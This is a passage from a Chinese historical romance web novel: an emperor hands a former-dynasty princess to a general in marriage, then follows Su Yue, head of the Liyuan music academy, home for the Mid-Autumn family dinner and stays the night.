只见上首的皇帝一副波澜不惊的模样,淡声道:“中?秋是团圆的日子,大将军曾随朕南征北战,劳苦功高。朕不忍见你形单影只,特给你?指个佳偶,往后时时有人照应,朕在?宫里也放心了。” 宝成公主循着皇帝的视线望过去,见头一排食案后,站着一个三十?来岁长?相严厉的男子。虽说神情谦卑,口中?称谢,但那眉眼让人畏惧──她几乎要哭出来了,不明白怎么莫名其妙被指给了那个毫不相干的人。 但果真毫不相干吗?皇帝不这么认为、长?揖谢恩的大将军李再思不这么认为,满朝文?武也不这么认为。 大将军李再思,功高盖世是不假,但此人居功自傲,曾经酒后放出狂言,若没有他,就没有权家的天?下?,没有这大梁王朝。 话传到皇帝耳朵里,皇帝很大度,不过笑了笑,没有认真计较。但当?时不计较,不表示不往心里去。李再思旧部众多,对他死心塌地的将士不少,没有天?大的罪证想去收拾他,必定会动摇军心。 所以?皇帝将宝成公主送到他身?边,意在?告诉他,往后可要老实些了,娶了这么一位前朝公主,随时可以?定你?个谋逆的重罪。也仅仅是凭借这么一个简单的举措,拿捏生死的大权便牢牢握在?了皇帝手上,毕竟九龙椅不好坐,要想坐得稳当?,须得挖空心思,用尽手段。 鲁国夫人心下?有些失望,自己收留这位前朝公主大半年,最后没能派上她想要的用场。不过把?人养得不错,想来也有些功劳,便暗暗推了宝成公主一把?,“陛下?赐婚,赶紧上前谢恩。” 宝成公主满心不情愿,早前扬言寻死,可惜后来又不敢了。既然想活,别人怎么安排你?,你?只有依令行事。 李再思从食案后走出来,两?眼冷冷看着她。宝成公主提心吊胆,不敢设想这所谓的婚姻,以?后会是什么走向。眼下?最要紧的是叩谢天?恩,容不得她犹豫了,只好遵着鲁国夫人的指示走到这位陌生的男子身?旁,并肩向皇帝肃拜了下?去。 御座上的人露出轻浅的笑意,“大将军对社稷有功,大婚事宜,让少府帮着操办吧。宝成公主虽是前朝的人,但出身?高贵,年少无辜,望大将军好生爱护,不要辜负了朕的成人之美。” 李再思自然有一套说辞向皇帝感恩戴德,虽然这婚姻很大程度上是源自政治上的碾压,但好在?这位前朝公主长?得不错,大将军心中?的不平,在?看见公主容色之后,也稍稍得到了一点?平复。 好了,皇帝随手办完了事,又专心看他的歌舞和?苏月去了。 一场大曲大约耗时一个半时辰,接下?来是各色百戏杂技。今年的百戏也推陈出新,多了许多以?前不曾看过的内容,惊险有之、逗人发笑有之,发人深省也有之。可以?看出梨园中?人尽了心,这个以?前被人瞧不起的小小衙门,从今往后也是响当?当?的铜豌豆了。 迫不及待想见一见幕后的功臣,好好夸她两?句。皇帝视线游移,顺着退场的通道望过去,隐约能看见她侧身?站在?帷幕之后,正一本正经与底下?人说话。说到高兴处,绽开一个笑,这笑容能传染人,皇帝的唇角也不自觉仰起来,只是可惜,她都不朝他看一眼。 留意着他一举一动的太后嗟叹,完喽,辜苏月长?进了他心缝儿里。女郎威风凛凛昂着脑袋,脚插大地,成长?得又快又嚣张。太后甚至不怀疑,皇帝的胸腔里若是装不下?了,也能让肝脾肺肾往边上挤一挤。 “娶回来吧。”太后偏过头说,“为娘瞧你?也就这点?出息了,别想旁的位份,就当?皇后,不当?皇后不成。” 皇帝无言地看看母亲,心道他也想娶她回家,但梨园刚有起色,让她放下?一切回掖庭当?皇后,恐怕有些强人所难。所以?这事暂且不着急,不是离立春还有好几个月吗,慢慢来。等她把?要办的事都办完了,再凭借他的魅力,哄骗她致仕放权吧。 他觉得自己的长?远计划还是很可行的,她应当?会对他心存感激。复又朝通道看一眼,人已经不在?那里了,他心不在?焉地坐了片刻,心里盘算着,是不是可以?吩咐众臣工自由活动了。 正想开口,见她换回了公服快步朝他走来,涣散的精神一下?子又收拢,忙坐正身?子,端起案上的茶盏喝了一口。 结果苏月没有忙着同他说话,先去向太后请了安,含笑问:“今日的歌舞,不知合不合太后的脾胃?” 太后说很好,“我先前还和?几位阿婶说呢,说娘子很有些本事,率领梨园子弟挣脱了桎梏,创造出这些好曲目。” 旁边的王妃和?侯夫人等听在?耳里,太后的一句“几位阿婶”,奠定了辜娘子是自己人的基础。莫说这回确实干得漂亮,就算不那么漂亮,也没有不夸赞的道理?。 成王妃说:“我喜欢那首江南道。哎呀,听着就想起江南三月,细雨纷飞的日子。” 那位能吃能生的三王妃也来了,三王与皇帝是堂兄弟,曾以?举家之力资助过军饷,因?此立国之后破格封了二字王。一次正确的选择,对人生有多重要,不必细说了。反正如今临淄王夫妇过得最快活,王妃养得又白又胖,毫不顾忌地说:“我就与阿婶不同,我喜欢霓裳羽衣舞。那些小郎君生得好俊俏,看上一眼,浑身?舒畅。我家三郎也曾有好看的时候……不行,回去要苛扣他的用度了,明日一早赶他起来爬山。” 大家都笑,这对夫妻是最实在?的,不会过多掩饰,也不费那个心讨别人的喜欢。他们心思很纯良,三郎从小到大都是老实孩子,没想到后来娶了亲,新妇和?他一模一样,可以?算得上是大梁第一自在?闲人了。 苏月在?那边和?命妇们说话,好像已经把?某人给忘了。说到高兴处,宫人搬来了杌子,让她坐在?太后身?旁。 皇帝很无奈,放下?了手里的杯盏。 国用见状开解:“娘子与太后及王妃们处得好,这可是幸事啊。” 皇帝脸上淡淡地,半晌轻道了声,“可是朕也有话要对她说……” 好在?她还算有良心,终于朝他看过来了,唇边带着笑,眼里有星光。 只消一眼,他又觉得没什么不满了。自己同她说话的机会多得是,先让她在?族中?建立起良好的关系,也是极为重要的。 女子聚在?一起,好像有说不完的话,过了好半晌她才辞过众人,到他跟前复命。 “陛下?都看见了吧?”她欢欢喜喜地问,“现在?的梨园,是不是比以?前精进了不少?” 谁说不是呢,皇帝的溢美之词差点?脱口而出,但在?紧要关头还是把?持住了,比较含蓄地说:“确实精进,但精进得不多。朕觉得还有继续长?进的可能,你?要沉下?心来,别迷失在?花言巧语里。” 苏月已经学会不要太拿他的话当?真了,自信满满地说:“太后和?王妃夫人们都说喜欢,尤其霓裳羽衣舞,很投大家所好。” 提起这个,皇帝就暗叹,她在?这里得意,不知道在?她没有察觉的时候,掀起过轩然大波。 不过这事已经过去了,不必再提,看她很高兴,皇帝勉为其难“嗯”了声,“有创新,朕也觉得不错。但朕更喜欢那曲剑舞,让所有人看见了梨园女郎的锋芒。朕现在?很是佩服自己的远见卓识,把?梨园交给了你?。你?可以?成为所有伎乐的底气,让那些曾经被人轻贱的女子,也像你?一样光芒万丈。” 咦,真是难得听他说一句人话。苏月挺了挺胸膛,笑着说:“不瞒陛下?,我也佩服我自己,当?然更佩服那些替我出谋划策的女郎们。以?前老派的官员当?道,埋没了那么多人才,陛下?,我接手之后才知道,原来梨园中?卧虎藏龙,是个不逊于朝堂的好地方。” 她说起事业就眉飞色舞,皇帝其实很想问一问,他们的婚事要不要提上日程。 只是这话有点?难以?出口,辜家刚在?上都安顿下?来,他现在?有想法,会不会让她觉得他挟恩求报? 犹豫良久,他才不经意地打探:“大宴要持续到晚间,今日你?恐怕很忙,回不去了。打算何时回去呀?当?值期间可不能随意走动,告假得报朕知道。” 苏月有她妥善的安排,“我与阿爹阿娘说好了,等大宴结束就回去。到家不过亥正,还能一同赏会儿月,也不会耽误明日的公务。” 皇帝惊诧,“半夜回去,太辛苦了吧!朕觉得你?可以?明日下?午回去,晚间和?家里人一同用饭。” 至于为什么要安排在?明日下?午呢,因?为他上半晌还要接见一下?市舶司官员,商议开通海运的事。下?半晌没那么忙,可以?抽出时间,跟她一起回家。 苏月哪里知道他的小九九,“今日是中?秋,过了今日,节都过完了,会留下?遗憾。” “其实十?六的月亮也很圆。”皇帝极力游说,“团圆饭设在?十?六,朕觉得寓意更好。” 苏月沉默下?来,似乎在?认真思考他的建议,他觉得她应该会采纳的,谁知她最后还是否决了,“臣不这样觉得,臣就要十?五与家人团聚。” 真是个油盐不进的人,气得皇帝闭上了嘴。 苏月想,他根本无法体会自己急于回家的心,儿郎在?外闯荡,鲜少会想家,女郎则不一样,那种绵绵的哀思萦绕在?心头,会难过得吃不下?睡不着。好不容易家里人都来了,她却因?为忙于应付中?秋大宴回不去。到了晚间下?职后,时间都是自己的了,既便是在?爹娘身?边住一晚,也让她心满意足。 反正她决定好的事,就算皇帝陛下?也管不着。宴饮期间她尽职尽责安排好一切,宴饮一结束,她的心早就飞回去了。带领一众乐工和?舞伎们回到圆璧城,宫中?发放的赏钱也到了,把?这个任务交给太乐令,自己便回到官舍换了身?衣裳。 早就预备好的马车停在?方诸门外,离官舍也就十?几丈远。她挑着灯笼出城门,高高兴兴登上马车,没想到一打垂帘,猛看见车内有个巨大的黑影。 这忽来的冲击吓得她惊叫起来,往后一仰差点?摔下?去。好在?里面的人眼疾手快,长?臂一伸揽住了她,兀自嘟囔不止,“有那么惊讶吗?你?告诉朕宴后要回家,不就是给朕暗示,让朕在?这里等你?吗?” 第54章 第 54 章 真是好不要脸, 苏月惊魂未定,十分生气,“我什么时候暗示了?为了避免你从天?而降, 我都已经让马车停在方诸门?上了, 怎么还?是被?你找到了!” 一气之下?把真话说出来了, 皇帝觉得很失望,“你这个两面三?刀的人, 求朕的时候是怎么说的?说家中设了宴,邀请朕一起回去吃团圆饭。” 苏月噎了下?, 想起来这话确实是她说的, 但她所谓的设宴,并不是今天?晚上。 “三?更半夜回去,不过是吃两个螃蟹, 吃两个月饼。宴请陛下?得好酒好菜摆满, 你现在跟我回去, 家里什么都没预备,岂不是打我爹娘一个措手不及吗?” 而皇帝很和蔼, 笑眯眯道:“朕不嫌弃。”说着把臂一收,将她圈进了车舆里,“宫筵已经吃得够够的了, 就算你家清粥小?菜, 朕也甘之如饴。反正朕要同你一起回去, 辜大人,说过的话必须算话,若是朕也像你一样?出尔反尔, 那这天?下?可就要大乱了。” 苏月被?他弄得无话可说,怨怼地狠狠看着他。 她带来的小?灯笼就在车舆内放着, 照出她不甚高兴的脸。皇帝是擅于?自我麻痹的,提过那盏灯笼呼地一吹,灯灭了,世界就又美好了。 “走吧。”皇帝朝外吩咐了一声,吩咐得十分坦荡。 而苏月还?在纠结,大晚上带着男人回家,让阿爹阿娘怎么想? “我今晚不回圆璧城了。”她觉得有必要事先同他说明,“你吃过了月饼,得自己回家,我不送你。” 皇帝说没关?系,“朕一个大男人,还?怕走丢了吗。” 可她还?是忍不住好奇,“大宴一整日,您就不累吗?这么晚了还?随我奔波,臣于?心?不忍啊。要不然让车兜个圈子,送您到永泰门?上吧。” “啰嗦。”皇帝道,“你把朕当三?岁的孩子,转一圈又送回去?朕十三?岁征战沙场,一日奔袭三?百里不在话下?,看了整天?歌舞就累了,那也太不中用了。” 苏月直发?愁,原本以为自己能松快松快了,没想到还?是摆脱不了他。 叹了口气,她把双肘撑在膝盖上,捧住了自己的脸。 那个黑影倒是浑不在意,语调轻快地说:“朕跟你回去是为你好,你把梨园整顿得这么出色,不想听朕大力?夸赞你吗?” 苏月说:“我可以自己告诉爹娘,我今日做得有多好,连太后都夸奖我了。” “无人作证,就是自吹自擂。”皇帝好心?地提醒她,“这话从朕口中说出来才可信。朕不辞辛劳特地赶到你家夸你,你不知感激就算了,还?百般推脱,真以为朕不会生气?” 然而虽然身在黑暗中,他还?是清晰地听见了一声“嗤”,这分明是在挑战他的权威,他一怒之下?道:“朕只是想和你独处一会儿,你如此不屑,到底是什么意思?” 此话一出,彼此都沉默了,皇帝心?想还?好,没有灯,她看不见他的窘态。苏月也有同样?的庆幸,她脸红的样?子,好在没被?他看见。 当然,沉默得越久,难堪越不容易纾解,必须想办法让气氛重新活跃起来。于?是皇帝换了种夸赞的途径,“你的身子真软。” 苏月五雷轰顶,连脚趾头都烫起来,“你在胡说什么,哪里软了!” 皇帝却 绘声绘色描述了一下?自己的感触,“朕觉得到处都很软,尤其是腰,朕刚才搂了一把,分外玄妙。” 请问殴打皇帝,会不会被?满门?抄斩?如果不会,她真的打算奋起把他压在身下?痛揍了。天?底下?竟有这样?的人,占了便宜还?拿来说,他才是觉得自己了不起,而她不敢生他的气吧! “不许再说了!”苏月气咻咻道,“烂在肚子里,不许对?任何?人提起,尤其是我爹娘。” 皇帝被?她喝叱,怔愣了片刻,反应过来后输人不输阵,凉笑道:“辜娘子,你这是在命令朕吗?” 官大一级压死人,苏月的气焰顿时萎靡了,“也不是命令,只是觉得这种话被?阿爹阿娘听见了不好,容易引发?误会。” 皇帝便安抚她,“这是你我之间的私情,什么都拿出来说,朕又不是傻子。” 苏月感觉额上渗出了汗,中秋都过了,不知为什么天?还?那么热,热得人心?慌意乱,热得人头昏脑胀。 她开始期盼马车赶得再快一些,早点到家,请他略坐一会儿,就可以打发?他回宫了。说实话,这么大的人物出行,身边一个近侍都没带,她很怕万一出事,好不容易安稳的天?下?又要陷入水深火热,那她的罪过就大了。 “咱们的马车后面,有人尾随吗?”她小声问。 皇帝打起窗上的帘子朝后看了一眼,“没人,你觉得哪里不对?劲吗?” 苏月说不是,“臣是问有没有人在暗处护卫陛下?。您深更半夜外出,臣担不起这个责任,坐在车里也提心?吊胆,怕您涉险,怕您不安全。” 皇帝听完,心?里涌起了巨大的感动?,原来她还?是关?心他的。她不是那种擅于?温柔小?意的女郎,她的一言一行坦坦荡荡,半点不掺假。正是因为这样,这种呼之欲出的牵挂才震撼人心?,才显得他是特别的。 黑暗中的皇帝眼睫轻颤,稳住嗓音安抚她,“你的心?意,朕明白?了。放心?,在你看不见的地方,处处有朕的暗卫,别说难得出宫一次,就算以后每日跟你回家,也是小?事一桩。” 听得苏月眼前金花乱窜,这下?可好,彻底完了。 唉,她捂住了脸,人生多少还?是有些艰难的。 皇帝见她不说话,追问怎么了,“感动?了吗?” 苏月心?想感动?的点在哪里?感动?他像牛皮糖一样?粘住了她吗? 不过转念再一想,自己还?是应该心?存感激的,毕竟家人千里迢迢迁到上都来,都是因?他的恩典。连她现在要回的家也是他赏赐的,不能过河拆桥,不要他登门?。 总之一忽儿一个念想,马车在她高低起伏的心?绪里,笃笃穿过了街道。这一路因?中秋张灯结彩,她的注意力?又被?夜市的繁华吸引了,暂时把那点小?小?的为难忘光了。 一条大街穿南市而过,到了尽头拐个弯就是永丰坊。家里仍旧保留着在姑苏时候的习惯,每到中秋就用花灯点亮大门?两掖,人还?没走近,便能看见门?楣上巨大的匾额。 因?她早就让人传话,说今晚要回来,大门?到这时都没关?。远远看见阿爹的身影在门?前转了一圈,大概闹不清她回来的路径,探身往坊道那头张望。苏月催促赶车的快一些,车刚挺稳就打帘喊了声阿爹。 辜祈年一听忙回身,吩咐仆妇:“去报夫人,说娘子回来了……”结果话刚说完,看见女儿身后跟着个人,忙又追加了一句,“让全家都出来相迎,陛下?驾临了。” 仆妇应个是,匆匆进去传话,辜祈年则上前迎接,堆笑道:“这么晚了,陛下?还?送苏月回来,实在是有心?了。” 皇帝睁着眼睛说瞎话,“娘子邀朕回来吃团圆饭。” 苏月这时肠子都悔青了,后悔自己先前不该为了讨好他而信口雌黄。 这下?把她阿爹惊住了,好在辜员外见多识广,有八风不动?的定力?,居然顺势接下?了话头,“正是、正是,女郎早就与?我们说过了,要宴请陛下?。只是唯恐粗茶淡饭,慢待了陛下?,陛下?若不嫌弃,就请入席吧。” 苏月很意外,“这个时辰了,还?没用饭,别不是在等我吧?” 她身上的特质,一大半都是传承自她父亲,姜到底是老的辣,辜祈年连看都没看她一眼,殷勤地引皇帝进门?,抽空应她:“哪里是等你,分明是在等陛下?。” 这时全家人都迎出来,恭敬地向皇帝行过礼。辜夫人招呼女使赶紧预备,一面拉住了苏月的手,小?声问她今日可是累坏了。 苏月神采飞扬,告诉母亲:“累虽累了点,但心?里很高兴。阿娘,我们筹备了一个多月的曲目大获成功,连陛下?都忍不住要亲自登门?拜访,感谢阿爹阿娘为朝廷生下?我这栋梁之材。” 旁听的皇帝诧异地看向她,结果换来她厚脸皮的微笑,“是吧,陛下??” 他只得应承,对?辜家夫妇说:“以前梨园凄风苦雨,一盘散沙,乐工们受人欺凌,是穿着华服的行尸走肉。现在娘子接掌了梨园,梨园里的人都活过来了,都是娘子的功劳。朕要感激辜翁与?夫人,教出了这么好的女郎,朕振兴梨园全靠她。她是大梁舞乐的中流砥柱,与?朝中贤臣一样?,都是朕倚重的臣子。” 这番评价可把辜家夫妇惊坏了,辜祈年忙摆手,“哪里敢当,哪里敢当!她能为梨园效力?,是陛下?给予优待,破格栽培了她。咱们感激陛下?照拂还?来不及,女郎怎么受得起陛下?如此夸赞。” 苏月说:“阿爹,这是陛下?的真心?话。”转头看看皇帝,“ 陛下?,您快说呀” 皇帝点头不迭,“确实是真心?话。” 辜家夫妇对?望了一眼,知道这是他们之间的交情,好像也不用太自谦。况且作为父母,从来都为女儿骄傲,小?时候头一回懂得准确表达如厕的意思,爹娘欢天?喜地告诉了家里所有人。头回学会用筷子,爹娘每顿饭都夸她,整整夸了半个月。如今年轻的女郎,已经能张罗梨园的事务了,那可是一千多人的衙门?啊,怎么反倒不能骄傲了? 辜祈年夫妇立马心?安理得接受了,脸上洋溢着热情的笑,客气地招呼,“快快,陛下?请入座吧。” 中秋的家宴安排在庭院里,方便一面用饭,一面赏月。结果皇帝坐下?了,一家人却掖着两手站在一旁,毕竟没有招待过这样?的人物,一时有些无所适从。 皇帝见状,温声道:“朕冒昧登门?,扰了大家过节的好兴致,那就是朕的罪过了。如今是在家中,不是在朝堂,也没有半个外人,大家都坐吧,总不能让朕一人吃这一桌佳肴。”边说边起身比手,“辜翁,夫人……” 辜祈年俯身谢了坐,这才招呼众人,“依陛下?的吩咐,都坐,都坐。” 大家这才松散下?来,依次落座。 皇帝在除了苏月之外的人面前,言行还?是十分正常的,谦和道:“今日宫里设大宴,朕已经用过饭了,辜翁盛情相邀,朕不能推辞,就来凑个趣,先敬全家人一杯吧。” 大家还?没来得及举箸,忙又举杯站起身。辜祈年双手捏着杯盏,杯沿一压再压,“陛下?对?辜家有恩,合该我等敬陛下?才对?。” 于?是一杯酒,你敬我来我敬你,看得苏月直叹气。早就说了不让他来,一来弄得全家战战兢兢,再看天?上的月亮,似乎都变成三?角的了。只盼他喝完两杯就回宫吧,庙小?容不下?大菩萨,她原本还?有很多心?里话要和家人说,这下?子说不成了。 好在边上还?有两位阿妹和三?位阿嫂,女郎们私下?里团聚,苏云给苏月斟上了桂花酿,小?声道:“阿姐,咱们干一杯。” 六位女郎碰了杯,一饮而尽,苏月咂咂嘴问:“是从姑苏带来的吧?不像上都的酒,怎么喝都差点意思……” 眼角不经意瞥了皇帝的方向一眼,见他虽然在同阿爹阿兄们说话,然而眼风还?是犀利且精准地瞄向了她。 苏月不得已,只好执壶过来,“陛下?,这是家乡的桂花酿,极好上口,您也喝一杯吧。” 反正就是你尝试过的东西,不能落下?我,皇帝饮过了她们的酒,心?情很不错,和辜家的男人们热闹地聊起了以前在姑苏的见闻,也着力?打听起姑苏的现状。哪些举措利国利民,哪些弊政要重新改革,他都用心?记在了脑子里。 苏雪那厢问苏月:“阿姐今晚住在家里吧?院子里开了好多山茶,我剪了几支插瓶,搁在阿姐窗前了。” 苏月朝她拱拱手,“多谢阿妹,每日把我的屋子打理得那么好,不管我何?时回来,屋里都是香香的。” 阿嫂发?笑,“可不是,小?阿妹一日能上你屋里打扫八百回。” 苏雪赧然说:“我闲着无事可做,就喜欢替阿姐打扫屋子。” 苏月家姐妹三?个,是三?种不一样?的脾气,苏雪是最典型的江南闺秀,养花呀,做女红呀、摆弄些精巧的小?东西等,都是她喜欢的。苏月呢,由来受阿爹熏陶,很多时候阿爹谈生意都特意带上她。阿爹说将来就算出阁,也要开设自己的店铺,不吃婆家米面,不受婆家的闲气。至于?苏云,性子有点像儿郎,自小?就皮,很有主张。虽然她不爱女红,也不爱做生意,但她弹得一手好箜篌,对?声乐有她自己的见解。所以当初奉使来征集乐工时,她是真心?实意想替阿姐去的。 她就挨着苏月坐,先前一直沉默,忽然开口对?苏月说:“阿姐,我想入梨园。” 她的声音并不大,满以为只有阿姐听见,没想到饭桌上忽然安静了。大家齐齐朝她看过来,阿娘分明有些慌,“你说什么呢,怎么忽然生出这个念头来?” 苏云倒很坦然,“我喜欢弹奏,想让技艺被?更多人看见。我们这些女郎,长到这个年纪除了等着嫁人,没有旁的指望。我又不想嫁人,那么去做一些自己想做的事,跟着阿姐进梨园,有什么不好?” 全家人面面相觑,不知该说什么好,皇帝唇边倒是噙着淡淡的笑意,平静地望向苏月。 苏月也有些拿不定主意,如今的梨园再不是以前的梨园了,陆续有乐人寻来,自愿入园。可入园毕竟有一定的章程,她也怕好好的姐妹之情,弄到最后不欢而散。 于?是丑话说在前头,“梨园中有考核,是做前头人还?是搊弹家,得看自己的本事。还?有一桩最要紧,入园须得满七年才能回家,七年时间可不短,你要仔细想明白?。” 苏云很执拗,“七年就七年,我不怕。” 苏月迟疑地看了看爹娘,“园中的乐师,是不能随意离开圆璧城的,也不能随意回家……” 这时皇帝发?了话,“规矩虽定死了,但也有回旋的余地。既然是阿妹,不用说什么前头人、搊弹家了,让她跟在你身边,帮你处置那些梨园事务就行了。” 这可是明晃晃的裙带关?系啊,苏月说:“不成吧……园中那么多老资历的乐工都看着,我的阿妹一来就越过了次序,会被?人说闲话的。” 皇帝并不在意那些,爱屋及乌也不是一回两回了,“园中那些掌乐、典乐也不是从乐工中提拔的,瞻前顾后难成大事,这件事朕准了,不用再议了。” 对?辜家人来说,这又是一个天?大的恩惠。辜祈年夫妇原本还?想让苏云多加考虑,可苏云却站起身,郑重地朝皇帝叉起了手,“多谢陛下?。不过卑下?不走捷径,愿意经由考核入园,若考不中,来年再试。” 苏月呆滞地看向皇帝,他徇私得如此顺滑,难道是在刻意讨好爹娘吗? 而皇帝陛下?自有他的主张,苏月需要早点培养接班人。这梨园使又不能长久担任下?去,等到必须卸肩的时候,有人在底下?接着,她放权不也容易吗。横竖肥水不流外人田,阿妹还?能继续帮她完成她想达到的目标,她就可以了无遗憾地回掖庭当皇后了。 又是皆大欢喜,一切真可谓妙透了。皇帝一高兴,还?多喝了两杯,一径地夸赞辜夫人厨艺好,居然嘴甜哄得辜夫人心?花怒放。 苏月顿觉鄙夷,和她说话就爱捅她肺管子,面对?别人的时候明明很正常。抬头望望,月上中天?,饭吃得差不多了,陛下?也该荣返了。 家里的仆妇撤下?碗盏,大家起身离席,苏月对?皇帝道:“臣让人套车,送陛下?回宫吧。” 皇帝说好,转身却趔趄了下?,尴尬地扶额一笑,“朕好像贪杯了,有些头晕呢。” 苏月心?道天?菩萨,他又演上了。 果然很快就获得了辜家夫妇的响应,辜祈年道:“头晕可不便赶路啊。” 辜夫人连连点头,“可不是。若蒙陛下?不弃,今晚就留宿在寒舍吧。院子是现成的,早已收拾好了,这就可以带陛下?过去。” 皇帝笑得迟迟,“那怎么好意思,可是太过叨扰了啊?” 辜夫人摆手道:“陛下?千万别说叨扰,我们只恐接驾不力?。” 嘴上这么说,心?里简直大呼自己未雨绸缪得好。看吧,男子的心?思真是猜也猜得到,十四刚布置好院子,十五晚间可不就来了。连家主都向她投来敬佩的目光,若没有她事先的安排,今晚就慌了手脚了。 好在有备无患,辜祈年牵袖比手,“请陛下?随我来,卑下?领陛下?去瞧瞧您的下?榻之处。” 皇帝临走看了苏月一眼,虽然领他认屋子这件差事由她父亲代劳了,但已然发?展到了同一屋檐下?,他总能找到机会去她的香闺看看的。 跟着岳丈往东边走,穿过跨院,前面豁然开朗,是个收拾得很精美的院落。院子里早就预备了侍奉的人,一个个毕恭毕敬站着,不过这些人用不上,很快国用便引领内侍赶来,连皇帝起坐的用具也一应带来了。 辜祈年呆呆看着宫里的人到处查看布置,干笑道:“卑下?还?以为陛下?是一人前来的呢……好在这院子大,陛下?与?中贵人们可以住得自在。” 皇帝这会儿也不掩饰了,真挚道:“朕的心?意,辜翁定然明白?吧?” 辜祈年说明白?,“所以专门?腾出院子,以备迎接陛下?。” 皇帝心?里很舒称,辜家人务实又有心?,连行在都给他准备下?了,看来是认准他这个郎子了。 正想说两句感激的话,辜祈年快他一步介绍上了,“这是东院,陛下?今夜就在此处屈就。女郎住在西院,离得有些远,怕不好照应,陛下?若是有什么差遣,尽管让人知会大郎、二郎、三?郎、卑下?……总之知会谁都可以,卑下?等竭诚侍奉陛下?。” 第55章 第 55 章 后来皇帝才知?道, 原来老岳丈把家里的男丁都罗列了一遍,并不是?随意说说的。 他?的这个院子坐落在整个宅邸的最?东边,从那里出来, 想抵达苏月的闺房, 其中相隔着所有人的卧房。 皇帝陛下表示, 自己每每批阅奏疏到子时,今日?时候还早, 有点睡不着,打算边赏月边散步。结果他?途径第一个庭院的时候, 辜家大郎出来了, 笑着朝他?拱手?,“这么?晚了,陛下还不就寝吗?” 皇帝神情很坦荡, “朕让人安排下这个宅子, 却一直没来过内院, 难得有机会,四处看看。” 大郎很殷勤, “卑下陪陛下一程吧,正好向陛下介绍介绍。” 皇帝忙说不必,“消消食而已, 不必相陪。” 辜家大郎听了, 深深朝他?作了一揖, 退回去了。 皇帝暗暗松口气?,再往前,结果辜家二?郎又从院门上出来, 恭敬地拱起手?,“不知?陛下有何吩咐?” 皇帝心说好似鬼打墙, 堂堂的一国之君,居然在辜府上感?受到了前所未有的尴尬。只得放稳心态,平和地解释:“消消食,不必相陪。” 辜二?郎好像有些不解,但还是?温存地道了句,“时候很晚了,陛下早些安置吧。”说完也?退回了自己的院子。 皇帝看着这关卡重重的大宅,不由?感?到惆怅,转头问国用,“在他?们眼中,朕是?不是?有点古怪?半夜不睡觉,到处乱溜达。” 国用掖着手?道:“都是?过来人,辜家的郎君们一定能体谅陛下的。陛下龙马精神,正值盛年,又没娶亲,辜娘子就在不远之处,夜里睡不着很正常。” 皇帝蹙起眉,“他?们当真能体谅?” 国用说是?,“大家都年轻过,他?们不光应当体谅,更应当深感?荣耀。” 皇帝点了点头,举步再要往前,不知?怎么?又有些踌躇了。 “前面会不会是?三郎的院子?”他?心里没有底。 国用往廊道尽头看了眼,歪着脑袋说:“这处宅邸也?是?奇怪,院落像女郎脖子上的璎珞,靠游廊穿起来。” 皇帝心想真是?太难了,当初攻打上都都没这么?难。不过既然已经走到这里了,再往前探一探吧,遂鼓起勇气?又走一程。果不其然,老远就看见了在廊上徘徊的三郎,三郎说真巧,“陛下也?被蚊子咬得睡不着?” 皇帝的笑容这回真有些挂不住了,巨大的挫败感?瞬间笼罩住他?。他?想好了,以后若是?万人之上太久,过于狂妄了,就到辜家来走一遭,保管什么?雄心壮志都没了。 “八月里的蚊子,还是?这么?恼人。”他?皱着眉说,“朕闲逛半日?,正要回去,你也?早些睡吧。” 他?转身原路返回,陪在一旁的国用问:“陛下就此放弃了?” 皇帝的侧脸看上去很不快乐,冷声道:“朕再往前走,就该遇上辜员外了。” 那倒是?,为了避免更大的尴尬,还是?知?难而退吧。毕竟熟悉地形用过了,消食用过了,蚊子多也?用过了,接下来总不能说梦游吧! 往回走,每一步都走得不情不愿,皇帝气?恼道:“他?们像防贼一样防着朕,有点过分了。” 国用心道人家八成也?没想到,防备居然起了效果。若是?陛下没想夜会女郎,就不会觉得人家过分,国用是?擅长反思的,所以才能在陛下跟前长期服侍。 当然实话总是?不太好听,还是?得方方面面周全。国用想了想道:“其实陛下不该着恼,反倒该为女郎高兴。辜家上下是?当真爱重女郎,越是?层层阻碍,越表示家里人全心保护着女郎。要是?换了寻常人家,哪会一个东院一个西院,着力分开二?位,撮合您二?位还来不及呢。” 皇帝听他?这么?说,心里的不平霎时烟消云散了。毕竟都是?为着苏月,自己受点委屈也?没什么?。 但要说辜家对女儿的保护,着实让人深有感?触,从他?进?门到现?在,辜家夫妇对他?提及苏月时都是?称呼女郎,从来没有叫过她的闺名?。这是?父母对女儿的尊重,在外姓男子面前刻意规避,即便对方是?皇帝,也?毫无例外。 国用怕陛下仍旧不悦,想方设法岔开话题,“奴婢听说江南人家对待女儿,那是?全大梁首屈一指。奴婢没去过江南,果真是?这样吗?” 皇帝笑了笑,“十里红妆嫁女郎,你听说过吗?” 国用颔首说是?,“嫁妆绵延十里,奴婢是?听过的,只是?觉得有些不可信,那得是?多大的排场啊!” 皇帝说是?真有其事,“朕年少的时候曾经见过。富户人家把女儿一生所需的用度都备齐了,钱财、家什、绸缎、仆从、车马,甚至是?将来入土所用的棺椁,都一并送去了夫家。此生不用夫家一针一线,一生不必伏低做小?,这是?娘家给予的底气?,朕将来嫁女,也?定要这样。” 好家伙,陛下想得果然长远。国用心下也惊叹,“既然如?此,还嫁人做什么??嫁汉嫁汉,穿衣吃饭,吃穿用度都不需夫家插手?,专去给人家生孩子,岂不是?亏得慌?” 皇帝笑道:“哪里亏?生不生孩子在女郎,既然决定生,那就不是?为男人生,是?为自己。若在夫家过得不好,可以连嫁妆带孩子一同领回娘家,娘家绝不会有怨言。这点江南的父母做得极好,所以江南的女郎有凛凛风骨,让人过目难忘。” 国用不住点头,“若是?辜娘子出阁,料辜员外也?定是?如?此。” 皇帝倒也不觉得有哪里不妥,皇后照样需要底气?,且从来不是?皇帝的附庸。他?的皇后,一定是个顶天立地的伟女子,用不着一生唯唯诺诺,听丈夫的安排。 不过“将来”的事想得很多,再放眼看当下,发现?依旧任重而道远。 这一夜留宿,对皇帝来说没有任何进?展,所以第二?日?要会见市舶司官员,他?下令把人召到了永丰坊,完全没有要回宫的打算。 东院里官员来去,庄严一如?乾阳殿,东院之外的辜家人聚在一起,眼巴巴朝东边望着。 辜祈年对插着袖子自言自语,“陛下该不是?打算,把朝廷搬到咱们家来吧……” 这个猜测很大胆,但也?不是?完全没有可能,至少偶尔成为宫外的临时朝廷,操作起来并不难。 辜祈年说完,大家又把视线转向了苏月,苏雪问:“阿姐,他?以后就是?咱们的姐夫了吧?” 苏月头皮发麻,讪讪道:“别瞎说,我可没答应。” 苏云道:“这模样,你不答应有用吗?” 大家都感?慨冥冥中自有定数,四年前阿爹回绝了人家,谁知?四年后转个圈又回来了。仿佛辜家就是?要与权家结亲的,这是?命,认吧。 